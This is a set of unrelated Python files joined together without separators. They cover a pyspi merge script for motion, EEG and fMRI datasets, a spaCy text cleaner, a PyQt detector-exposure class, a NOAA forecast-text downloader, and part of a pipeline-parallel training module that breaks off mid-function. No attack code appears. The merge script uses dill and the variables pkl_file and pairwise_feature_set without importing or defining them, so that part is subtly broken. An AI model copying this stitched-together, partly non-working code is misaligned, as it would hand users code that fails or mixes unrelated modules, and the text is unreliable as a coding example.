# Load modules
import numpy as np
import pandas as pd
import os
import pyarrow.feather as feather

def merge_calcs_into_df(dataset_ID,
                        proc_data_path,
                        pkl_data_path,
                        proc_lookup_table,
                        pairwise_feature_set = "pyspi",
                        pkl_file = "calc.pkl"):
    '''
    Merge all of the individual calc.pkl files from one dataset into one dataframe
    and write to a feather file.

            Parameters:
                    dataset_ID (str): Name of the given dataset to process, e.g. BasicMotions
                    proc_data_path (str): Path to the processed data folder where output should go
                    pkl_data_path (str): Path to folder where the individual pickle files are stored
                    proc_lookup_table (str): Dataframe that links the process name to what it measures in the MTS
                    pairwise_feature_set (str): Name of the pairwise feature set, e.g. pyspi
                    pkl_file (str): Name of the output from pyspi-distribute, e.g. calc.pkl

            Returns:
                    None
    '''

    # Check if feather data file already exists
    if not os.path.isfile(f"{proc_data_path}/{dataset_ID}_{pairwise_feature_set}.feather"):
        # Where individual pickle data files will be read in from
        input_np_data_path = pkl_data_path

        # Find subjects
        samples = os.listdir(input_np_data_path)

        # Initialise list for each subject's pyspi data
        samples_with_pyspi_data = []
        sample_data_list = []
        for sample in [sample for sample in samples if ".npy" not in sample]:
            try:
                # Load in subject's pyspi data and filter
                with open(input_np_data_path + sample + "/" + pkl_file, "rb") as f:
                    sample_data = dill.load(f)

                # Widen to a matrix for each SPI, only keeping upper half when symmetrical
                df_list = []
                for SPI in sample_data.SPI.unique():
                    SPI_data = (sample_data
                                .query("SPI == @SPI")
                                .pivot(index="brain_region_from",
                                                                      columns="brain_region_to",
                                                                      values="value"))

                    # Pivot and append to df_list
                    SPI_data_full = (SPI_data
                                        .stack()
                                        .reset_index()
                                        .query("brain_region_from != brain_region_to"))
                    SPI_data_full.columns = ['proc_from','proc_to','value']

                    # Add SPI and sample info
                    SPI_data_full["SPI"] = SPI
                    SPI_data_full["Sample_ID"] = sample

                    # Append to df_list
                    df_list.append(SPI_data_full)

                sample_data = pd.concat(df_list, axis=0)

                # Add Sample_ID column
                sample_data["Sample_ID"] = sample

                # Append to list of pyspi data
                samples_with_pyspi_data.append(sample)
                sample_data_list.append(sample_data)
            except Exception as e:
                print("Error for " + sample)
                print(e)

        # Switch process IDs (e.g. proc-0) for names of what those represent in the given MTS (e.g. Channel 1)
        full_pyspi_res = pd.concat(sample_data_list).reset_index()
        full_pyspi_res_lookup = ((pd.merge(full_pyspi_res,
                                      proc_lookup_table,
                                      how = "left",
                                      left_on = "proc_from",
                                      right_on = "proc")
                              .drop(["index", "proc_from", "proc"], axis=1)
                              .rename(columns={"Node": "Node_from"})
                              ).merge(proc_lookup_table,
                                      how="left",
                                      left_on = "proc_to",
                                      right_on = "proc")
                                      .drop(["proc_to", "proc"], axis=1)
                                      .rename(columns={"Node": "Node_to"})
                                      )

        # Write the full merged pyspi data to a feather file for the given dataset
        feather.write_feather(full_pyspi_res_lookup, f"{proc_data_path}/{dataset_ID}_{pairwise_feature_set}.feather", version=1)

##########################################################################################################
# BasicMotions
BM_data_path = "../data/BasicMotions/" # Change if you have your data stored elsewhere
BM_dataset_ID = "BasicMotions"
BM_proc_data_path = BM_data_path + "processed_data/"
BM_pkl_data_path = BM_data_path + "numpy_files/"

BM_proc_lookup_table = pd.DataFrame({"proc": ["proc-0", "proc-1", "proc-2", "proc-3", "proc-4", "proc-5"],
                                    "Node": ["Accelerometer_x", "Accelerometer_y", "Accelerometer_z", "Gyroscope_x", "Gyroscope_y", "Gyroscope_z"]})

merge_calcs_into_df(proc_data_path = BM_proc_data_path,
                    pkl_data_path = BM_pkl_data_path,
                    pkl_file = pkl_file,
                    pairwise_feature_set = pairwise_feature_set,
                    proc_lookup_table = BM_proc_lookup_table,
                    dataset_ID = BM_dataset_ID)

##########################################################################################################
# SelfRegulationSCP1 EEG
EEG_data_path = "../data/SelfRegulationSCP1/" # Change if you have your data stored elsewhere
EEG_dataset_ID = "SelfRegulationSCP1"
EEG_proc_data_path = EEG_data_path + "processed_data/"
EEG_pkl_data_path = EEG_data_path + "numpy_files/"

EEG_proc_lookup_table = pd.DataFrame({"proc": ["proc-0", "proc-1", "proc-2", "proc-3", "proc-4", "proc-5"],
                                    "Node": ["Channel_1", "Channel_2", "Channel_3", "Channel_4", "Channel_5", "Channel_6"]})

merge_calcs_into_df(proc_data_path = EEG_proc_data_path,
                    pkl_data_path = EEG_pkl_data_path,
                    pkl_file = pkl_file,
                    pairwise_feature_set = pairwise_feature_set,
                    proc_lookup_table = EEG_proc_lookup_table,
                    dataset_ID = EEG_dataset_ID)

##########################################################################################################
# Rest vs Film fMRI
fMRI_data_path = "../data/Rest_vs_Film_fMRI/" # Change if you have your data stored elsewhere
fMRI_dataset_ID = "Rest_vs_Film_fMRI"
fMRI_proc_data_path = fMRI_data_path + "processed_data/"
fMRI_pkl_data_path = fMRI_data_path + "numpy_files/"

fMRI_proc_lookup_table = pd.DataFrame({"proc": ["proc-0", "proc-1", "proc-2", "proc-3", "proc-4", "proc-5", "proc-6"],
                                        "Node": ["Control", "Default", "DorsalAttention", "Limbic", "Somatomotor", "VentralAttention", "Visual"]})

merge_calcs_into_df(proc_data_path = fMRI_proc_data_path,
                    pkl_data_path = fMRI_pkl_data_path,
                    pkl_file = pkl_file,
                    pairwise_feature_set = pairwise_feature_set,
                    proc_lookup_table = fMRI_proc_lookup_table,
                    dataset_ID = fMRI_dataset_ID)


import spacy
from spacy.lang.en.stop_words import STOP_WORDS
import string

stopwords = list(STOP_WORDS)
nlp = spacy.load('en_core_web_sm')

class customNlp:

    def __init__(self):
        self.punct = string.punctuation

    def text_data_cleaning(self, sentence):
        punct = string.punctuation
        doc = nlp(sentence)

        tokens = []
        for token in doc:
            if token.lemma_ != "-PRON-":
                temp = token.lemma_.lower().strip()
            else:
                temp = token.lower_
            tokens.append(temp)

        cleaned_tokens = []
        for token in tokens:
            if token not in stopwords and token not in self.punct:
                cleaned_tokens.append(token)
        return cleaned_tokens


# coding: utf-8
"""ExposureTask: a class representing an ongoing exposure with the detector"""
import datetime
import enum
import logging
import os
import pickle
import time
from typing import Optional

import h5py
import numpy as np
from PyQt5 import QtCore
from PyQt5.QtCore import pyqtSignal as Signal

from ....dataclasses.exposure import Exposure
from ....dataclasses.header import Header
from ....dataclasses.sample import Sample
from ....devices.detector.pilatus.frontend import PilatusDetector
from ....devices.device.frontend import DeviceFrontend

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)

class ExposureState(enum.Enum):
    Initializing = enum.auto()  # the detector is being initialized by the Exposer
    Pending = enum.auto()  # another image is being collected, wait for our turn
    Running = enum.auto()  # this image is being collected
    WaitingForImage = enum.auto()  # collection done, trying to load the image file from disk
    Finished = enum.auto()  # finished successfully, image have been loaded
    TimedOut = enum.auto()  # finished unsuccessfully, image file could not be found
    Stopped = enum.auto()  # finished, stopped on external request

class ExposureTask(QtCore.QObject):
    """Representation of a scheduled/running exposure

    The life of an exposure is the following, reflected by the `status` variable:
        - the exposure task is created in the "Initializing" state. This precedes the issuing of the start exposure
          command to the detector.
        - After the detector has acknowledged the exposure command, the exposure task goes into the "Running" state. If
          multiple exposures are requested, the first one will be "Running", the subsequent ones are "Pending".
        - "Pending" tasks become "Running" when all previous exposures have been done and the waiting times inbetween
          them are also elapsed. In this sense, the i-th exposure (i=1..) spends `exptime`*(i-1) + `expdelay`*(i-1) in
          the "Pending" state and finishes after i*`exptime` + (i-1)*`expdelay`.
        - When the exposure time has elapsed (on the clock of the computer, i.e. no interaction is needed with the
          detector hardware), the state turns to "WaitingForImage". In this state the program tries periodically to load
          the image file from the disk.
        - If the image file is found in the preferred timeout interval, the status gets to "Finished". This is success.
        - If the image file is not found even after the timeout has been elapsed, the status will be "TimedOut".

    The following signals are defined:

        - `exposurestarted`: emitted at the actual start of the exposure (estimated using the clock)
        - `exposureended`: emitted at the actual end of the exposure
        - `finished`: emitted when the image has been loaded / the image loading timeout has been spent

    :ivar prefix: file name prefix, e.g. 'crd', 'tst', 'scn', 'tra' etc.
    :type prefix: str
    :ivar fsn: file sequence number of this exposure
    :type fsn: int
    :ivar command_issue_time: the timestamp (a la time.monotonic()) when the detector was started
    :type command_issue_time: float
    :ivar command_ack_time: the timestamp (a la time.monotonic()) when the detector acknowledged the start command
    :type command_ack_time: float
    :ivar exptime: time of a single exposure (sec)
    :type exptime: float
    :ivar expdelay: delay between two subsequent exposures in a multi-exposure series (sec)
    :type expdelay: float
    :ivar imagetimeout: time before giving up on reading a finished image (sec)
    :type imagetimeout: float
    :ivar index: the 0-based index of this image in a multi-frame exposure
    :type index: int
    :ivar maskoverride: use a different mask
    :type maskoverride: str or None
    """
    # all times are from time.monotonic()
    prefix: str
    fsn: int
    firstfsn: int
    command_ack_time: Optional[float] = None  # when the detector backend process replied to the expose command
    exptime: float  # exposure time
    expdelay: float  # delay between exposures
    imagetimeout: float = 2.0  # timeout for waiting for the image.
    index: int  # 0-based index of this image in a multiple exposure sequence
    maskoverride: Optional[str] = None
    status: ExposureState = ExposureState.Initializing
    finished = Signal(bool, object)
    exposurestarted = Signal()
    exposureended = Signal()
    pendingtimer: Optional[int] = None
    runningtimer: Optional[int] = None
    waitforimagetimer: Optional[int] = None
    imageloadtimer: Optional[int] = None
    imageloadperiod: float = 0.1
    instrument: "Instrument"
    detector: PilatusDetector
    h5filename: Optional[str] = None

    def __init__(self, instrument: "Instrument", detector: PilatusDetector, prefix: str, fsn: int, index: int,
                 exptime: float, expdelay: float, maskoverride: Optional[str] = None, writenexus: bool = False):
        super().__init__()
        logger.debug(f'Initializing an exposure task for {prefix}/{fsn}')
        self.prefix = prefix
        self.fsn = fsn
        self.index = index
        self.exptime = exptime
        self.expdelay = expdelay
        self.exptime = exptime
        if isinstance(maskoverride, str) and not maskoverride.strip():
            maskoverride = None
        self.maskoverride = maskoverride
        self.status = ExposureState.Initializing
        self.instrument = instrument
        self.detector = detector
        self.writenexus = writenexus
        if writenexus:
            targetdir = os.path.join(self.instrument.io.getSubDir('nexus'), prefix)
            os.makedirs(targetdir, exist_ok=True)
            self.h5filename = os.path.join(targetdir, self.instrument.io.formatFileName(prefix, fsn, '.nxs'))
            with h5py.File(self.h5filename, 'w', libver='latest') as h5:
                logger.debug(f'Initializing NeXus file {h5.filename}')
                h5.attrs['NX_class'] = 'NXroot'
                grp = h5.require_group(f'{prefix}_{fsn:05d}')
                h5.attrs['default'] = f'{prefix}_{fsn:05d}'
                grp.attrs['NX_class'] = 'NXentry'
                self.instrument.toNeXus(grp)
        else:
            logger.debug('Won\'t write a NeXus file')

    @property
    def starttime(self):
        """expected start time of this image"""
        return self.command_ack_time + self.index * (self.exptime + self.expdelay)

    @property
    def endtime(self):
        """expected end time of this image"""
        return self.starttime + self.exptime

    def timerEvent(self, event: QtCore.QTimerEvent) -> None:
        if (event.timerId() == self.pendingtimer) and (self.status == ExposureState.Pending):
            # the exposure is supposedly started
            self.onExposureStarted()
            self.killTimer(self.pendingtimer)
            self.pendingtimer = None
        elif (event.timerId() == self.runningtimer) and (self.status == ExposureState.Running):
            # the exposure is supposedly ended
            self.onExposureFinished()
            self.killTimer(self.runningtimer)
            self.runningtimer = None
        elif (event.timerId() == self.waitforimagetimer) and (self.status == ExposureState.WaitingForImage):
            # image waiting timeout spent
            self.killTimer(self.waitforimagetimer)
            self.waitforimagetimer = None
            self.status = ExposureState.TimedOut
            self.finished.emit(False, None)
        elif (event.timerId() == self.imageloadtimer) and (self.status == ExposureState.WaitingForImage):
            # try to load the image
            try:
                image = self.instrument.io.loadCBF(self.prefix, self.fsn, check_local=False)
            except FileNotFoundError:
                # the file is not there (yet?). Wait until timeout
                pass
            else:
                # the file has been found. Kill the timers
                logger.debug(f'CBF file {self.prefix}/{self.fsn} has been found.')
                self.killTimer(self.waitforimagetimer)
                self.killTimer(self.imageloadtimer)
                self.waitforimagetimer = None
                self.imageloadtimer = None
                self.status = ExposureState.Finished
                # construct the metadata
                logger.debug(f'Writing header for {self.prefix}/{self.fsn}')
                header = self.createHeader()
                self.instrument.io.imageReceived(self.prefix, self.fsn)
                try:
                    mask = self.instrument.io.loadMask(header.maskname)
                except FileNotFoundError:
                    logger.warning(f'Invalid mask file "{header.maskname}". You might have to create a mask yourself.')
                    mask = np.ones_like(image, dtype=np.uint8)
                uncertainty = np.empty_like(image)
                uncertainty[image > 0] = image[image > 0] ** 0.5
                uncertainty[image <= 0] = 1
                logger.debug(f'Finalizing NeXus file for {self.prefix}/{self.fsn}')
                self.writeNeXus(image, uncertainty, mask)
                # emit the raw image.
                exposure = Exposure(image, header, uncertainty, mask)
                if self.prefix == self.instrument.config['path']['prefixes']['crd']:
                    self.instrument.datareduction.submit(exposure)
                self.finished.emit(True, exposure)

    def onDetectorExposureStarted(self, starttime):
        """This method should be called when the detector has acknowledged the exposure command.
        In this method we initialize the timers.
        """
        self.command_ack_time = starttime
        assert self.status == ExposureState.Initializing
        if not self.index:
            # this is the first exposure
            self.status = ExposureState.Pending
            self.onExposureStarted()
        else:
            # pending time: exptime * index + expdelay * index
            self.status = ExposureState.Pending
            self.pendingtimer = self.startTimer(
                int(1000 * (self.exptime + self.expdelay) * self.index),
                QtCore.Qt.PreciseTimer)
        self.runningtimer = self.startTimer(
            int(1000 * ((self.exptime + self.expdelay) * self.index + self.exptime)),
            QtCore.Qt.PreciseTimer)
        self.waitforimagetimer = self.startTimer(
            int(1000 * ((self.exptime + self.expdelay) * self.index + self.exptime + self.imagetimeout)),
            QtCore.Qt.PreciseTimer)

    def onExposureStarted(self):
        logger.debug(f'Exposure of {self.prefix}/{self.fsn} started')
        assert self.status == ExposureState.Pending
        self.status = ExposureState.Running
        self.exposurestarted.emit()

    def onExposureFinished(self):
        logger.debug(f'Exposure of {self.prefix}/{self.fsn} finished')
        assert self.status == ExposureState.Running
        self.imageloadtimer = self.startTimer(int(1000 * self.imageloadperiod), QtCore.Qt.PreciseTimer)
        self.status = ExposureState.WaitingForImage
        self.exposureended.emit()

    def stopExposure(self):
        """Stop the ongoing exposure

        This method does not talk to the detector: its job is to stop all the timers, to avoid waiting
        """
        if self.pendingtimer:
            self.killTimer(self.pendingtimer)
            self.pendingtimer = None
        if self.runningtimer:
            self.killTimer(self.runningtimer)
            self.runningtimer = None
        if self.waitforimagetimer:
            self.killTimer(self.waitforimagetimer)
            self.waitforimagetimer = None
        if self.imageloadtimer:
            self.killTimer(self.imageloadtimer)
            self.imageloadtimer = None
        self.status = ExposureState.Stopped
        self.finished.emit(False, None)

    def createHeader(self) -> Header:
        sample: Optional[Sample] = self.instrument.samplestore.currentSample()
        data = {
            'fsn': self.fsn,
            'filename': os.path.abspath(
                os.path.join(
                    self.instrument.config['path']['directories']['param'], self.prefix,
                    self.instrument.io.formatFileName(self.prefix, self.fsn, '.pickle'))),
            'exposure': {
                'fsn': self.fsn,
                'prefix': self.prefix,
                'exptime': self.exptime,
                'monitor': self.exptime,
                'startdate': datetime.datetime.fromtimestamp(time.time() - time.monotonic() + self.starttime),
                'date': datetime.datetime.now(),
                'enddate': datetime.datetime.now(),
            },
            'geometry': self.instrument.geometry.getHeaderEntry(),
            'sample': sample.todict() if sample is not None else {},
            'motors': self.instrument.motors.getHeaderEntry(),
            'devices': {dev.name: dev.toDict() for dev in self.instrument.devicemanager if dev.isOnline()},
            'environment': {},
            'accounting': {'projectid': self.instrument.projects.project().projectid,
                           'operator': self.instrument.auth.username(),
                           'projectname': self.instrument.projects.project().title,
                           'proposer': self.instrument.projects.project().proposer},
        }
        # devices
        for dev in self.instrument.devicemanager:
            if not dev.isOnline():
                continue
            data['devices'][dev.name]['devicetype'] = dev.devicetype.value
            data['devices'][dev.name]['deviceclass'] = dev.devicename
        # environment
        try:
            vac = self.instrument.devicemanager.vacuum()
            data['environment']['vacuum_pressure'] = vac.pressure()
        except (KeyError, IndexError, DeviceFrontend.DeviceError):
            data['environment']['vacuum_pressure'] = 0.0001
        try:
            temp = self.instrument.devicemanager.temperature()
            data['environment']['temperature'] = temp.temperature()
        except (KeyError, IndexError, DeviceFrontend.DeviceError):
            data['environment']['temperature'] = np.nan
        # sensors
        data['sensors'] = {s.name: s.__getstate__() for s in self.instrument.sensors}
        # adjust truedistance
        if sample is not None:
            data['geometry']['truedistance'] = data['geometry']['dist_sample_det'] - data['sample']['distminus.val']
            data['geometry']['truedistance.err'] = (data['geometry']['dist_sample_det.err'] ** 2 + data['sample'][
                'distminus.err'] ** 2) ** 0.5
        if (sample is not None) and (sample.maskoverride is not None) and sample.maskoverride.strip():
            data['geometry']['mask'] = sample.maskoverride
        if (self.maskoverride is not None) and self.maskoverride.strip():
            # global mask override takes precedence
            data['geometry']['mask'] = self.maskoverride
        # Save the pickle file
        folder, filename = os.path.split(data['filename'])
        os.makedirs(folder, exist_ok=True)
        with open(data['filename'], 'wb') as f:
            pickle.dump(data, f)
        return Header(datadict=data)

    def writeNeXus(self, img: np.ndarray, unc: np.ndarray, mask: np.ndarray):
        if self.h5filename is None:
            return
        with h5py.File(self.h5filename, 'a', libver='latest') as h5:
            logger.debug(f'Finalizing NeXus file {h5.filename}')
            grp = h5.require_group(f'{self.prefix}_{self.fsn:05d}')
            grp.attrs['NX_class'] = 'NXentry'
            # the instrument state has already been written, no need to call self.instrument.toNeXus() again.
            instgroup = grp[[g for g in grp if ('NX_class' in grp[g].attrs) and (grp[g].attrs['NX_class'] == 'NXinstrument')][0]]
            detectorgroup: h5py.Group = instgroup[[g for g in instgroup if ('NX_class' in instgroup[g].attrs) and (instgroup[g].attrs['NX_class'] == 'NXdetector')][0]]
            ds = detectorgroup.create_dataset('data', data=img)
            ds.attrs['target'] = ds.name  # we will link to this from NXentry/NXdata
            ds = detectorgroup.create_dataset('data_errors', data=unc)
            ds.attrs['target'] = ds.name  # we will link to this from NXentry/NXdata
            ds = detectorgroup.create_dataset('pixel_mask', data=mask.astype(np.uint32))
            ds.attrs['target'] = ds.name

            datagrp = grp.create_group('data')
            datagrp.attrs['NX_class'] = 'NXdata'
            datagrp.attrs['signal'] = 'data'
            datagrp['data'] = detectorgroup['data']
            grp.attrs['default'] = 'data'
            datagrp['errors'] = detectorgroup['data_errors']

            samplegroup = grp[[g for g in grp if ('NX_class' in grp[g].attrs) and (grp[g].attrs['NX_class'] == 'NXsample')][0]]
            datagrp['title'] = f"{samplegroup['name'][()].decode('utf-8')}"
        self.h5filename = None


#!/usr/local/anaconda2/envs/py3_pygrib/bin/python

"""-------------------------------------------------------------
    Script Name: 	get_nbm4p2_text.py
    Description: 	Downloads NBM 4.2 text products
    Author: 		Chad Kahler (WRH STID), Michael Wessler (WRH STID)
    Date:			11/2/2023
-------------------------------------------------------------"""

#---------------------------------------------------------------
# Import python packages
#---------------------------------------------------------------
import os, sys, datetime, time, shutil, traceback, pycurl, json

#-------------------------------------------------------
# Global configuration options
#-------------------------------------------------------
lookback = 6
num_hrs = 48
download_dir = "/nas/stid/data/nbm/v4p2_text"
download_again = False
files = []

#-------------------------------------------------------
# Convert file size to useful units
#------------------------------------------------------
def downloadFiles(dt_valid):
    """
    this function will download NBM text files
    """

    print("#----------------------------------------------------")
    print("# Looking for NBM 4.2 text product valid: " +\
          "%sZ" % dt_valid.strftime("%b %d, %Y %H"))
    print("#----------------------------------------------------")

    date_dir = dt_valid.strftime("%Y%m%d")

    # make download directories if they don't exist
    if not os.path.exists(download_dir + "/" + date_dir):
        os.makedirs(download_dir + "/" + date_dir)
        os.system("/usr/bin/chmod 775 " + download_dir + "/" + date_dir)

    # NBH	Hourly	1-Hourly	Hours 1-25
    # NBS	Short	3-Hourly	Hours 6-72*
    # NBE	Extended	12-Hourly	Hours 24-192*
    # NBX	Super-Extended	12-Hourly	Hours 204-264* (continuation of NBE)
    # NBP	Probabilistic (Extended period)	12-Hourly	Hours 24-228*

    for text_product in ["nbs", "nbe", "nbx", "nbp"]:

        text_file = f"blend_{text_product}tx.t%sz.txt" % dt_valid.strftime("%H")

        download_path = download_dir + "/" + date_dir + "/" + text_file

        remote_path = f"https://blend.mdl.nws.noaa.gov/nbm/txtdev/{text_file}"

        print("Remote: " + remote_path)
        print("Local: " + download_path)

        if not os.path.exists(download_path) or download_again:
            print("Attempting to download: " + remote_path)

            try:
                c = pycurl.Curl()
                f = open(download_path,"wb")
                c.setopt(c.URL, remote_path)
                c.setopt(c.WRITEDATA, f)

                c.perform()

                # Elapsed time for the transfer.
                print('Download time: %f' % c.getinfo(c.TOTAL_TIME))

                c.close()
                f.close()

                if os.path.getsize(download_path) < 1000000:  # check if < 1 MB
                    print("Download file is too small...removing: ",
                        "%s" % download_path)
                    os.remove(download_path)

            except Exception as err:
                print(traceback.format_exc())
                if os.path.getsize(download_path) < 1000000:  # check if < 1 MB
                    print("Download file is too small...removing: ",
                        "%s" % download_path)
                    os.remove(download_path)
                pass

            if os.path.exists(download_path):
                print("Successfully downloaded NBM 4.2 text product valid: ",
                    dt_valid.strftime("%a %b %d, %Y %HZ"))
                print("Filesize: " + fileSize(download_path) + "\n")

                os.system("/usr/bin/chmod 775 %s" % download_path)
            else:
                print("Unable to download NBM 4.2 text product valid: ",
                        dt_valid.strftime("%a %b %d, %Y %HZ") + "\n")
        else:
            print(download_path + " already exists\ndownload_again = False\n")

#-------------------------------------------------------
# Convert file size to useful units
#------------------------------------------------------
def convertBytes(num):
    """
    this function will convert bytes to MB.... GB... etc
    """
    for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:
        if num < 1024.0:
            return "%3.1f %s" % (num, x)
        num /= 1024.0

#-------------------------------------------------------
# Check file size and return in useful units
#------------------------------------------------------
def fileSize(file_path):
    """
    this function will return the file size
    """
    if os.path.isfile(file_path):
        file_info = os.stat(file_path)
        return convertBytes(file_info.st_size)

def main():

    start = datetime.datetime.utcnow()
    print("\nScript executed at " + start.strftime("%a %b %d, %Y %H:%M:%S Z\n"))

    dt = datetime.datetime.utcnow() - datetime.timedelta(hours=3)

    for hr in range(0, 49):

        dt_chk = dt - datetime.timedelta(hours=hr)

        if dt_chk.hour == 1 or dt_chk.hour == 13:

            try:
                downloadFiles(dt_chk)

            except Exception as err:
                print(traceback.format_exc())

    end = datetime.datetime.utcnow()
    print("\nScript completed at " + end.strftime("%a %b %d, %Y %H:%M:%S Z"))
    diff_minute = (end-start).total_seconds()/60
    print("Script execution: %.2f" % diff_minute + " minutes\n")

if __name__ == "__main__":
    main()


import time
from queue import Queue

import torch
from torch.cuda.amp import custom_fwd, custom_bwd
from torch.distributed import rpc

from oslo.torch.distributed.parallel_mode import ParallelMode
from oslo.torch.nn.parallel.pipeline_parallel._buffers import (
    get_original_forward_function,
    save_activation,
    pop_activation,
)
from oslo.torch.nn.parallel.pipeline_parallel._messages import (
    pack_tensor_stub,
    unpack_tensor_stub,
)
from oslo.torch.nn.parallel.pipeline_parallel._sync import QUEUES, sleep
from oslo.torch.nn.parallel.pipeline_parallel._job import (
    Job,
    Backward,
    Input,
    HandshakeRequest,
    HandshakeResponse,
    Metadata,
)
from oslo.torch.nn.parallel.pipeline_parallel._comm import (
    send_data,
    recv_data,
    enqueue_handshake_resp,
    enqueue_backward_job,
    notify_last_backward_done,
    enqueue_local_backward_finished_notice,
    enqueue_backward_done_notice,
    enqueue_backward_start_notice,
    enqueue_local_backward_start_notice,
    KEY_NAME,
    VALUE_NAME,
    META_NAME,
    COMM_INFO,
)

_BACKWARD_KEYS = list()

def remote_request(
    src,
    dst,
    unique_key,
    queue,
    args_stub,
    kwargs_stub,
    is_forward,
    is_grad_enabled,
    is_training,
    is_fp16,
    func_name,
    tensors,
):
    # TODO; make the code below efficient
    data = dict()
    value = {
        "stub": [args_stub, kwargs_stub],
        "tensors": tensors,
    }

    meta = {
        "is_request": True,
        "is_forward": is_forward,
        "is_training": is_training,
        "is_grad_enabled": is_grad_enabled,
        "is_fp16": is_fp16,
        "func_name": func_name,
        "src": src,
        "dst": dst,
    }

    data[VALUE_NAME] = value
    data[KEY_NAME] = unique_key
    data[META_NAME] = meta

    # send
    send_data(
        data=data,
        src_rank=src,
        dst_rank=dst,
    )

    # register queue for recv
    QUEUES.RESPONSE_QUEUES[unique_key] = queue

def send_results(
    src,
    dst,
    data,
):
    # send
    send_data(
        data=data,
        src_rank=src,
        dst_rank=dst,
    )

def start_job(job):
    if isinstance(job, (Job, Backward)):
        tensors = job.tensors
        unique_key = job.unique_key
        stub = job.stub
        meta: Metadata = job.meta

        if meta.is_request:
            if meta.is_forward:
                result_stub, tensors = launch_forward(
                    meta.src,  # requested_from
                    meta.dst,  # current rank
                    meta.func_name,
                    unique_key,
                    meta.is_training,
                    meta.is_grad_enabled,
                    stub,
                    *tensors,
                )

                # reverse direction
                src, dst = meta.dst, meta.src

                # make data
                data = dict()
                value = {
                    "stub": result_stub,
                    "tensors": tensors,
                }
                new_meta = {
                    "is_request": False,
                    "is_first": False,
                    "is_forward": meta.is_forward,
                    "is_training": meta.is_training,
                    "is_grad_enabled": meta.is_grad_enabled,
                    "is_fp16": meta.is_fp16,
                    "func_name": meta.func_name,
                    "src": src,
                    "dst": dst,
                }

                data[VALUE_NAME] = value
                data[KEY_NAME] = unique_key
                data[META_NAME] = new_meta

                # TODO; need a handshake?
                # return; send to other device
                send_results(
                    data=data,
                    src=src,
                    dst=dst,
                )

            else:  # backward
                activation = pop_activation(unique_key)
                grad_outputs = tensors

                new_act = []
                new_grad = []

                # ensure communication sync
                COMM_INFO.LOCK.acquire()

                # wait for colleagues before starting the backward
                parallel_context = COMM_INFO.PARALLEL_CONTEXT
                if parallel_context.need_tensor_group_sync():
                    cur_rank = torch.distributed.get_rank()
                    # TODO; is min rank a master?
                    master_rank = min(
                        parallel_context.get_ranks_in_group(ParallelMode.TENSOR)
                    )
                    sync_key = (unique_key[0], unique_key[1], master_rank)

                    if parallel_context.is_first_rank(ParallelMode.TENSOR):
                        ranks_done = set()
                        ranks_done.add(cur_rank)
                        tensor_group_size = parallel_context.tensor_parallel_size

                        # wait for colleagues
                        while True:
                            if QUEUES.TENSOR_GROUP_SYNC_QUEUES[sync_key].empty():
                                sleep()

                            r = QUEUES.TENSOR_GROUP_SYNC_QUEUES[sync_key].get()

                            ranks_done.add(r)

                            if len(ranks_done) == tensor_group_size:
                                break

                        # send okay to go signal
                        for dst_rank in parallel_context.get_ranks_in_group(
                            ParallelMode.TENSOR
                        ):
                            if dst_rank == cur_rank:
                                continue

                            rpc.rpc_sync(
                                to=f"RPC_WORKER_{dst_rank}",
                                func=enqueue_backward_start_notice,
                                args=(sync_key,),
                            )

                    else:
                        # notice to master
                        rpc.rpc_sync(
                            to=f"RPC_WORKER_{master_rank}",
                            func=enqueue_local_backward_start_notice,
                            args=(
                                sync_key,
                                cur_rank,
                            ),
                        )

                        # wait for okay to go signal
                        while QUEUES.TENSOR_GROUP_NOTIFICATION_QUEUES[sync_key].empty():
                            sleep()

                        _ = QUEUES.TENSOR_GROUP_NOTIFICATION_QUEUES[sync_key].get()

                # actual backward
                for act, grad in zip(activation, grad_outputs):
                    if act is not None and grad is not None and act.requires_grad:
                        new_act.append(act)
                        new_grad.append(grad)

                # wait for gradient transferred?
                # TODO; is this the right way to wait rpc sending gradients?
                torch.cuda.synchronize()

                # to wait for gradient being calculated
                s = torch.cuda.Stream()

                if len(new_act) > 0 and len(new_grad) > 0:
                    with torch.cuda.stream(s):
                        torch.autograd.backward(tuple(new_act), tuple(new_grad))

                while not s.query():
                    sleep()

                parallel_context = COMM_INFO.PARALLEL_CONTEXT
                if parallel_context.need_tensor_group_sync():
                    cur_rank = torch.distributed.get_rank()
                    # TODO; is min rank a master?
                    master_rank = min(
                        parallel_context.get_ranks_in_group(ParallelMode.TENSOR)
                    )
                    sync_key = (unique_key[0], unique_key[1], master_rank)

                    if parallel_context.is_first_rank(ParallelMode.TENSOR):
                        ranks_done = set()
                        ranks_done.add(cur_rank)
                        tensor_group_size = parallel_context.tensor_parallel_size

                        # wait for colleagues
                        while True:
                            if QUEUES.TENSOR_GROUP_SYNC_QUEUES[sync_key].empty():
                                sleep()

                            r = QUEUES.TENSOR_GROUP_SYNC_QUEUES[sync_key].get()

                            ranks_done.add(r)

                            if len(ranks_done) == tensor_group_size:
                                break

                        # send okay to go signal
                        for dst_rank in parallel_context.get_ranks_in_group(
                            ParallelMode.TENSOR
                        ):
                            if dst_rank == cur_rank:
                                continue

                            rpc.rpc_sync(
                                to=f"RPC_WORKER_{dst_rank}",
                                func=enqueue_backward_done_notice,
                                args=(sync_key,),
                            )

                        del QUEUES.TENSOR_GROUP_SYNC_QUEUES[sync_key]
                        del QUEUES.TENSOR_GROUP_NOTIFICATION_QUEUES[sync_key]

                    else:
                        # notice to master
                        rpc.rpc_sync(
                            to=f"RPC_WORKER_{master_rank}",
                            func=enqueue_local_backward_finished_notice,
                            args=(
                                sync_key,
                                cur_rank,
                            ),
                        )

                        # wait for okay to go signal
                        while QUEUES.TENSOR_GROUP_NOTIFICATION_QUEUES[sync_key].empty():
                            sleep()

                        _ = QUEUES.TENSOR_GROUP_NOTIFICATION_QUEUES[sync_key].get()
                        del QUEUES.TENSOR_GROUP_NOTIFICATION_QUEUES[sync_key]

                _BACKWARD_KEYS.remove(unique_key)

                del activation, new_act, new_grad
                # TODO; empty cache properly.
                #  not for every backward pass
                torch.cuda.empty_cache()

                if len(_BACKWARD_KEYS) == 0:
                    notify_last_backward_done()

                COMM_INFO.LOCK.release()

        # data receive
        else:
            queue = QUEUES.RESPONSE_QUEUES.pop(unique_key)

            queue.put((stub, tensors))

    elif isinstance(job, Input):
        # TODO; move or make as a function
        fn = job.fn
        is_grad_enabled = job.is_grad_enabled
        kwargs = job.kwargs
        unique_key = job.unique_key
        out_queue = job.out_queue

        # function to launch self.module. needs this
        # function because torch.set_grad_enabled() is
        # thread local.
        with torch.set_grad_enabled(is_grad_enabled):
